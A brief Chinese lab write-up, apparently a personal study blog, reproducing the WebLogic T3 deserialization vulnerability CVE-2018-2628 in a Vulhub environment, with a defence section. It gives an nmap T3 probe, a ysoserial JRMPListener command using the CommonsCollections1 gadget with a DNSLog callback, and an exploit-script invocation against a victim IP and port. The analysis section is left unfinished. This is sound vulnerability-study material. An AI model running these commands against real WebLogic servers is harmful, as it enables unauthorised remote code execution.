0x00 前言

简单学习WebLogic T3反序列化漏洞(CVE-2018-2628)。

0x01 WebLogic T3反序列化漏洞(CVE-2018-2628)

这是xxlegend大佬挖的一个漏洞。

环境搭建

用的Vulhub:https://vulhub.org/#/environments/weblogic/CVE-2018-2628/

影响版本

Oracle WebLogic Server 10.3.6.0, 12.1.3.0, 12.2.1.2 and 12.2.1.3。

漏洞原理

简单地说,就是WebLogic开启了T3协议服务,攻击者可以通过T3协议来进行RMI反序列化漏洞的攻击利用从而RCE。

使用Nmap脚本探测T3服务

Nmap的weblogic-t3-info脚本可以探测WebLogic的T3服务是否开启:

1
nmap -n -v -p7001,7002 172.19.0.1 --script=weblogic-t3-info

这里探测目标环境7001端口是开启了T3服务的:

这里返回目标WebLogic的具体版本号为10.3.6.0以及开启了T3服务等信息,是存在T3反序列化漏洞的,接着进行漏洞复现。

漏洞复现

先在攻击者服务器通过ysoserial来启动一个JRMP服务端,这里使用CommonsCollections1这条Gadget进行反序列化利用,其中通过DNSLog外带验证:

1
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections1 "ping t3.f1gexy.dnslog.cn"

然后,使用这个exploit脚本向目标WebLogic服务器发送报文:

1
python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]

其中,[victim ip][victim port]是目标weblogic的IP和端口,[path to ysoserial]是本地ysoserial的路径,[JRMPListener ip][JRMPListener port]第一步中启动JRMP Server的IP地址和端口。[JRMPClient]是执行JRMPClient的类,可选的值是JRMPClientJRMPClient2

最后,看到DNSLog记录:

漏洞分析

参考:https://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA

待分析…

防御方法

  • 升级WebLogic版本;
  • 关闭T3服务,或控制T3服务的访问权限;